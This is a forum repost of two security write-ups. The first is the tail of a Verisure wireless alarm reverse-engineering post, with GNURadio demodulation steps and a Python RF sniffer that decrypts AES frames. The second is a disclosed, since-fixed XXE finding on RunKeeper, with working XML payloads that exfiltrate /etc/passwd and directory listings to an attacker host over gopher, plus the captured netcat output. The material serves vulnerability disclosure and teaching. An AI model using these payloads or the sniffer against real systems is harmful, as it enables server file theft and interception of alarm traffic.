Pro) Optional automatic whitening and de-whitening of data. … Additionally, we know a magical firmware called RFCat which can definitively help us to learn and play with CC1110 chips. RFCat will be largely used in the next parts of our Verisure story. For now, we will focus on GNURadio framework and the HackRF One SDR platform. 4. GNURadio at works 41. A First FFT Let’s build a simple GNURadio flowgraph using the HackRF as a source, plus an FFT Sink. To avoid DC spike in the middle of our signal, we tune the HackRF to 520KHz below the interesting frequency, and then shift back the signal using the Frequency Xlating FIR Filter block. A few GUI sliders are used to control the gain and to provide additional fine-tuning of the frequency. Great. Our supposed 2-FSK modulated signal is back. The center frequency is about 869.036 MHz. . 4.2. Signal filtering and demodulation It is time to start demodulating the signal but first, we need to remove any unwanted noise or adjacent communications. 4.2.1. Filtering Using baudline, we have observed about 38.3 KHz between the MARK and SPACE frequencies, so a deviation of about 19 KHz. In our GNURadio flowgraph, we then apply a Lowpass filter against our signal using a cutoff value of 21 KHz (so a bit more than 19 KHz) and a transition width of 15 KHz: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]firdes.low_pass(1,samp_rate, 21000, 15000)[/TD] [/TR] [/TABLE] 4.2.2. Demodulation As we are facing a potential FSK modulated signal, a new Quadrature Demod block is added to the flowgraph, which will then send the demodulated signal into a WAV file for further analyze. The new flowgraph becomes: Haaaa, by opening our WAV file using Audacity (or any other WAV file editor), the demodulated signal seems to reveal its secrets: a preamble (0101010101…) and a potential synchronization pattern. Let’s go a bit further by slicing the signal into propers 0 and 1. The Binary Slicer block aims to convert all samples above 0 to 1, and sample below 0 to 0. The block is inserted between the demodulator block and the WAV sink. Back to Audacity, this beautiful binary sequence appears… 4.3. Getting sync-word (Access Code) Getting the synchronization word is now only a matter of observing the pattern just after the preamble. Audacity helps to do this by adding a Label layer on top of the WAV signal. The difficulty here is to find the right police character which match (more or less) the flow of our signal. We observe a double SyncWord equal to 0xD391. 4.4. Getting symbol rate and samples per symbol So far so good. The next step is to discover the symbol rate and the samples per symbol needed to convert this signal into a binary sequence (done by the “Clock Recovery” block). 4.4.1. Symbol rate What is “Symbol Rate” ? By symbol, we mean 0 or 1. Thus the question to answer is “How many 0 or 1 do we observe per second?”. I know that better techniques exist to compute this value (I just need to learn them) but right now, I will simply count the number of symbols from the Audacity view: We count about 69 symbols during 0.00180 seconds, which give a symbol rate of 38333 [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11[/TD] [TD=class: code]$ echo -n "010101010101010101010101011010011100100011101001110010001111100001111" | wc -c 69 $ bc bc 1.06.95 Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006 Free Software Foundation, Inc. This is free software with ABSOLUTELY NO WARRANTY. For details type `warranty'. 69 / 0.00180 38333 quit[/TD] [/TR] [/TABLE] As I said, this method is probably not the most accurate. Actually, I found a more precise value by performing the same exercise on a lager portion of the signal (but making screenshots less clear). The final symbol rate is 38450. 4.4.2. Samples per symbol The number of samples per symbol is one of the most important value needed by the Clock Recovery block. Remember that your SDR device is configured to receive or transmit signal at a specified sample rate. The number of samples per symbol is just the number of samples needed to send one symbol (0 or 1), and is simply computed like this: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]samples_per_symbol = sample_rate / symbol_rate[/TD] [/TR] [/TABLE] We now have everything we need to setup the Clock Recovery block: 4.5. Decoding packets The remaining steps to get digital messages are to recognize the frames using the syncword (done by the Correlate Access Code block) and to decode them (done by the Packet Decoder block). There are a couple of GNURadio blocks dedicated to decoding/encoding packets but since we are dealing with CC1110 devices, we had to create specific blocks able to respect the CC1110 packets format. Further information about these blocks can be found on the following blog post: GNU Radio – CC1111 packets encoder/decoder blocks. The final GNURadio flowgraph is: As you can see, the Packet Decoder (CC1111) block receives a python queue as argument (see Target Message Queue). This is where our decoded messages will be sent out. This flowgraph will actually not be executed as it. Another python script will managed its execution and will pull messages from the python queue, dissect them (as Wireshark would do against a pcap file) and print them out on the screen. Here below is the main script. #!/usr/bin/env python #============================================================= # Securitas-Direct (Verisure) RF sniffer # By Jerome Nokin (http://funoverip.net / @FUNoverip) #============================================================= # # Usage: securitas_rx.py [-k KEY] # # optional arguments: # -k,--key <KEY> Optional AES-128 Key (hexadecimal) # #============================================================= import ctypes import sys import datetime import argparse from grc.verisure_demod import verisure_demod from threading import Thread from Crypto.Cipher import AES from binascii import hexlify, unhexlify from time import sleep # Colors def pink(t): return '\033[95m' + t + '\033[0m' def blue(t): return '\033[94m' + t + '\033[0m' def yellow(t): return '\033[93m' + t + '\033[0m' def green(t): return '\033[92m' + t + '\033[0m' def red(t): return '\033[91m' + t + '\033[0m' # Thread dedicated to GNU Radio flowgraph class flowgraph_thread(Thread): def __init__(self, flowgraph): Thread.__init__(self) self.setDaemon(1) self._flowgraph = flowgraph def run(self): self._flowgraph.Run() #print "FFT Closed/Killed" # AES decryption BS = 16 pad = lambda s : s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s : s[0:-ord(s[-1])] def aes_decrypt(ciphertext, iv, key, padding=True): cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = cipher.decrypt(ciphertext) if padding: return unpad(plaintext) else: return plaintext # Generate timestamp def get_time(): current_time = datetime.datetime.now().time() return current_time.isoformat() # Print out frames to stdout def dump_frame(frame, aes_iv = None, aes_key = None): # Dissecting frame pkt_len = hexlify(frame[0:1]) unkn1 = hexlify(frame[1:2]) seqnr = hexlify(frame[2:3]) src_id = "".join(hexlify(n) for n in frame[3:7]) dst_id = "".join(hexlify(n) for n in frame[7:11]) data = "" # Payload is a block of 16b and AES key provided ? Try to decrypt it if (ord(unhexlify(pkt_len))-2-8) % 16 == 0 and aes_iv!=None and aes_key!=None: if unkn1 == '\x04': # block is 16b without additional padding data = " ".join(hexlify(n) for n in aes_decrypt(frame[11:], aes_iv, aes_key, False)) else: # block is 16b with padding data = " ".join(hexlify(n) for n in aes_decrypt(frame[11:], aes_iv, aes_key)) if len(data) ==0: data = "<empty> Wrong EAS key ?" else: data = " ".join(hexlify(n) for n in frame[11:]) # Print out the frame print "[%s] %s %s %s %s %s %s" % (get_time(), yellow(pkt_len), blue(unkn1), seqnr, green(src_id), red(dst_id), pink(data)) # Main entry point if __name__ == '__main__': aes_iv = unhexlify("00000000000000000000000000000000") aes_key = None if sys.platform.startswith('linux'): try: x11 = ctypes.cdll.LoadLibrary('libX11.so') x11.XInitThreads() except: print "Warning: failed to XInitThreads()" # Read args parser = argparse.ArgumentParser() parser.add_argument("-k", "--key", help="Optional AES-128 Key (hex)", type=str) args = parser.parse_args() # Initializing GNU Radio flowgraph flowgraph = verisure_demod() if args.key: print "[%s] AES key provided. Decryption enabled" % get_time() aes_key = args.key aes_key = ''.join(aes_key.split()) aes_key = unhexlify(aes_key) print "[%s] AES-128 IV : %s" % (get_time(), hexlify(aes_iv)) print "[%s] AES-128 key: %s" % (get_time(), hexlify(aes_key)) # current frequency freq = 0 # Some additional output print "[%s] Starting flowgraph" % get_time() # Start flowgraph insie a new thread flowgraph_t = flowgraph_thread(flowgraph) flowgraph_t.start() # Until flowgraph thread is running (and we hope 'producing') while flowgraph_t.isAlive(): # Did we change frequency ? if freq != flowgraph.get_frequency(): print "[%s] Frequency tuned to: %0.2f KHz" % (get_time(), flowgraph.get_frequency()/1000) freq = flowgraph.get_frequency() # Emptying message queue while True: if flowgraph.myqueue.count() <= 0: break; frame = flowgraph.myqueue.delete_head_nowait().to_string() dump_frame(frame, aes_iv, aes_key) # I can't exit the script because of a blocking call to "myqueue.delete_head()". So for now.. sleep(0.1) print "[%s] Exiting" % (get_time()) # vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4 Here is the final output: A few comments about the output. Briefly: In yellow: the length of the packet In blue: still unclear but it appears to be related to payload encryption (encrypted or not, has padding or not, …) In grey (and gray): a kind of sequence number In green: the source ID of the packet In red: the destination ID of the packet In pink: the payload 5. Final note The reader has probably observed from the output of the script that an AES-128 key is provided and that payloads are decrypted. The way we recovered the key will be discussed later on. Don’t try this key at home since keys are randomly generated by the VBox. GNURadio flowgraph and python script can be downloaded from https://github.com/funoverip/verisure-alarm. Prerequisite: I’ve used HackRF One as SDR platform but any other SDR device should make the trick. You will need GNURadio 3.7 or above Do not forget to also install the GNURadio gr-cc1111 blocks ! Last but not least, a big thank you to Michael Ossmann for his awesome SDR class. Strongly recommended! Hope you enjoyed this post… Regards. Sursa: Reverse Engineer a Verisure Wireless Alarm part 1 – Radio Communications | Fun Over IP
  25. Identifying Xml eXternal Entity vulnerability (XXE) Here is a small writeup on how a XXE was discover on the website RunKeeper.com. The website, as the name suggest, keep track of your trainings (running, cycling, skying, etc.) The vulnerabilities presented were fixed on June 10th 2014. The website accept the upload of GPX file. The GPX file format is a XML document containing a list of positions with the instant speed, time and elevation. GPX file Here is an example of GPS file in the GPX format. The only important aspect is that it is XML based. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19[/TD] [TD=class: code]<gpx creator="EliteGPS" version="1.0" xmlns="GPX: the GPS Exchange Format"> <time>2014-06-07T20:04:44.453Z</time> <bounds maxlat="35.461644151" maxlon="-73.562228351" minlat="35.437931663" minlon="-73.610299487"> <trk> <trkseg> <trkpt lat="35.460997739" lon="-73.568049331"> <ele>22.600000</ele> <time>2014-06-07T18:06:16Z</time> <speed>0.000000</speed> </trkpt> <trkpt lat="35.460997655" lon="-73.568049163"> <ele>22.600000</ele> <time>2014-06-07T18:06:16Z</time> <speed>0.000000</speed> </trkpt> [...] </trkseg></trk> </bounds></gpx>[/TD] [/TR] [/TABLE] Attack potential When seeing user XML being parse server-side, the first thing that come to mind should be XXE attacks. XXE stands for Xml eXternal Entity. These attacks have gain momentum recently following various publications. Note that the current article doesn't explain in dept XXE. It focus on tips and methodology to identify the vulnerability and the parser capabilities. The tests presented are those that were effective on the old version of RunKeeper. Step 1 : Confirmation that entities are interpreted In our first attempt, we need to confirm that entity are interpreted in there most basic form. We replace value with an inline entity. If it loads properly, then the replacement must have occurs. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13[/TD] [TD=class: code]<!DOCTYPE foo [<!ENTITY xxe "35.460997739" > ]> <gpx creator="EliteGPS" version="1.0" xmlns="GPX: the GPS Exchange Format"> <time>2014-06-07T20:04:44.453Z</time> <bounds maxlat="35.461644151" maxlon="-73.562228351" minlat="35.437931663" minlon="-73.610299487"> <trk> <trkseg> <trkpt lat="&xxe;" lon="-73.568049331"> <ele>22.600000</ele> <time>2014-06-07T18:06:16Z</time> <speed>0.000000</speed> </trkpt> </trkseg></trk> </bounds></gpx>[/TD] [/TR] [/TABLE] Step 2 : Confirmation that SYSTEM entities are usable We can now try loading external resources from a host we control. The resources can be hosted on a HTTP server, FTP server or even Samba shares in the case of intranet application. RunKeeper only look at position, time and other numeric values. The string values from the metadata are not used. Therefore, it is not possible to get a direct response after the upload of a GPX file. If the destination is a server we control, we would receive a connection if external entities are activated. Assuming a strict firewall restrictions is in place, all common ports should be tested (23, 80, 443, 8080, ...). evil.gpx [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15[/TD] [TD=class: code]<!DOCTYPE foo [<!ENTITY xxe SYSTEM "I'm Feeling Lucky" > ]> <gpx creator="EliteGPS" version="1.0" xmlns="GPX: the GPS Exchange Format"> <desc>&xxe;</desc> <time>2014-06-07T20:04:44.453Z</time> <bounds maxlat="35.461644151" maxlon="-73.562228351" minlat="35.437931663" minlon="-73.610299487"> <trk> <trkseg> <trkpt lat="35.460997739" lon="-73.568049331"> <ele>22.600000</ele> <time>2014-06-07T18:06:16Z</time> <speed>0.000000</speed> </trkpt> </trkseg></trk> </bounds> </gpx>[/TD] [/TR] [/TABLE] Right after the upload, our server receive the following request. SYSTEM entities are now confirm. [TABLE] [TR] [TD=class: code]74.50.53.234 - - [08/Jun/2014:00:36:55 -0400] "GET /ping_me HTTP/1.1" 200 77 "-" "Java/1.6.0_26"[/TD] [/TR] [/TABLE] Step 3 : Test for external DTD availability to exfiltrate data A cool trick was discovered by the researchers that allow the construction of URL with data coming from other entities.evil1.gpx [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9[/TD] [TD=class: code]<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE roottag [ <!ENTITY % file SYSTEM "file:///etc/issue"> <!ENTITY % dtd SYSTEM "I'm Feeling Lucky"> %dtd;]> <gpx creator="EliteGPS" version="1.0" xmlns="GPX: the GPS Exchange Format"> <desc>&send;</desc> [....] </gpx>[/TD] [/TR] [/TABLE] I'm Feeling Lucky [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]<?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'I'm Feeling Lucky'>"> %all;[/TD] [/TR] [/TABLE] Following the upload, we then received the following request: [TABLE] [TR] [TD=class: code]74.50.62.56 - - [08/Jun/2014:00:51:41 -0400] "GET /content?Debian GNU/Linux 7 \x5Cn \x5Cl HTTP/1.1" 200 251 "-" "Java/1.6.0_26"[/TD] [/TR] [/TABLE] In pratice, the previoust technique is not perfect. Any file with XML incompatible characters (&, \n, \x80, etc) would break the URL. The /etc/issue is one of the rare file safe to include. Step 4 : Test for external DTD with gopher protocol We still have an option to fetch arbitrary file. A good observer would have notice that the remote JVM version was capture on step 1. The version is Java 1.6 update 26. The gopher protocol was disable on version 1.6 update 37 [Ref].The gopher protocol can be use to open a TCP connection and send arbitrary data. [TABLE] [TR] [TD=class: code]gopher://remote_host:remote_port/?ARBITRARY_DATA[/TD] [/TR] [/TABLE] evil2.gpx [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9[/TD] [TD=class: code]<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE roottag [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "I'm Feeling Lucky"> %dtd;]> <gpx creator="EliteGPS" version="1.0" xmlns="GPX: the GPS Exchange Format"> <desc>&send;</desc> [....] </gpx>[/TD] [/TR] [/TABLE] I'm Feeling Lucky [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]<?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://xxe.me:1337/xxe?%file;'>"> %all;[/TD] [/TR] [/TABLE] Following the upload of the first file, an incoming connection is open and the file content is received. [TABLE] [TR] [TD=class: code]$ nc -nlvk 1337 Listening on [0.0.0.0] (family 0, port 1337) Connection from [74.50.53.234] port 1337 [tcp/*] accepted (family 2, sport 42321) xe?root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh [...][/TD] [/TR] [/TABLE] Files can be fetch and directory can be list. For example, the entity "file:///" will return the root directory: [TABLE] [TR] [TD=class: code]$ nc -nlvk 1337 Listening on [0.0.0.0] (family 0, port 1337) Connection from [74.50.58.179] port 1337 [tcp/*] accepted (family 2, sport 52827) xe?.rpmdb .ssh bin boot dev etc home initrd.img lib lib32 lib64 lost+found media mnt opt proc root sbin selinux [...][/TD] [/TR] [/TABLE] Demonstration Demonstration of the attacks described previously. (Fullscreen recommended) Mitigations To resolve this issue two changes needed to be applied. SYSTEM entities were disable for the parsing of GPX files. Also, the Java Virtual Machine was updated to benefit from the previous security updates including the gopher protocol being disable by default. References : Presentation by Nicolas Grégoire at HackInTheBox 2012 : Presentation by Timothy Morgan at AppSecUSA 2013 Compromising an unreachable Solr server with CVE-2013-6397: Vulnerability found by Nicolas Grégoire XML Schema, DTD, and Entity Attacks: Excellent reference on the attack variations written by Timothy D. Morgan (Virtual Security Research) : Presentation by Alexey Osipov and Timur Yunusov at BlackHat USA 2013 XXE OOB exploitation at Java 1.7+: Alternative method to exfiltrate data without the gopher protocol presented by Ivan Novikov. Posted by Philippe Arteau at 11:35 AM Sursa: h3xStream's blog: Identifying Xml eXternal Entity vulnerability (XXE)
×
×
  • Create New...